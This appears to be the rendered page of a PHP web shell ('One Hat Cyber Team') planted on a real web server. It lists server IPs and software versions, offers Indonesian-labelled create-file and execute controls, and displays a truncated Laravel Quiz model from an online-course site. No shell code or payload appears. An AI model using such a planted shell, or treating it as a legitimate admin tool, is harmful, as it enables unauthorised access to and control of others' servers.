⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.103
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.22
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
demo.lmsmonks.com
/
app
/
Models
/
View File Name :
Quiz.php
hasMany(QuizQuestion::class, 'quiz_id', 'id'); } function lessonProgress() : HasOne { return $this->hasOne(CourseProgress::class, 'lesson_id', 'id'); } function instructor() : BelongsTo{ return $this->belongsTo(User::class, 'instructor_id', 'id'); } function course() : BelongsTo{ return $this->belongsTo(Course::class, 'course_id', 'id')->withTrashed(); } /** * Boot method to handle model events. */ protected static function boot() { parent::boot(); static::deleting(function ($quiz) { $quiz->questions()->each(function ($question) { $question->delete(); }); if ($quiz->lessonProgress) { $quiz->lessonProgress->delete(); } }); } }